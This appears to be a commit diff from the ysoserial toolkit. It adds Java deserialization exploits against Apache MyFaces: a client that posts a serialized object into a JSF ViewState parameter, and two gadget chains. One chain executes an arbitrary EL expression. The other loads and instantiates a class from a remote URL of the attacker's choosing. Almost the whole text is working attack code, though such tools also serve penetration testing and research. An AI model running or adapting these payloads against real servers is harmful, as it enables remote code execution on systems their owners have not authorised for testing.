Add MyFaces gadgets.

Add ability to provide a custom deserializer (needed for setting up the faces context)
This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent d6658809cf
commit 7879428d9c
8 changed files with 579 additions and 20 deletions
+68
View File
@@ -0,0 +1,68 @@
package ysoserial.exploit;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* @author mbechler
*
*/
public class JSF {
/**
* @param args
*/
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
URL u = new URL(args[ 0 ]);
URLConnection c = u.openConnection();
if ( ! ( c instanceof HttpURLConnection ) ) {
throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,92 @@
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@SuppressWarnings ( {
"nls", "javadoc"
} )
@PayloadTest(skip="Requires running MyFaces, no direct execution")
public class Myfaces1 implements ObjectPayload<Object> {
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
/**
* @param expr
* @return
* @throws NoSuchFieldException
* @throws IllegalAccessException
* @throws Exception
* @throws ClassNotFoundException
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws InvocationTargetException
*/
public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException,
NoSuchMethodException, InstantiationException, InvocationTargetException {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext");
fEl.setAccessible(true);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
fEl.set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces1.class, args);
}
}
@@ -0,0 +1,90 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces2.class, args);
}
}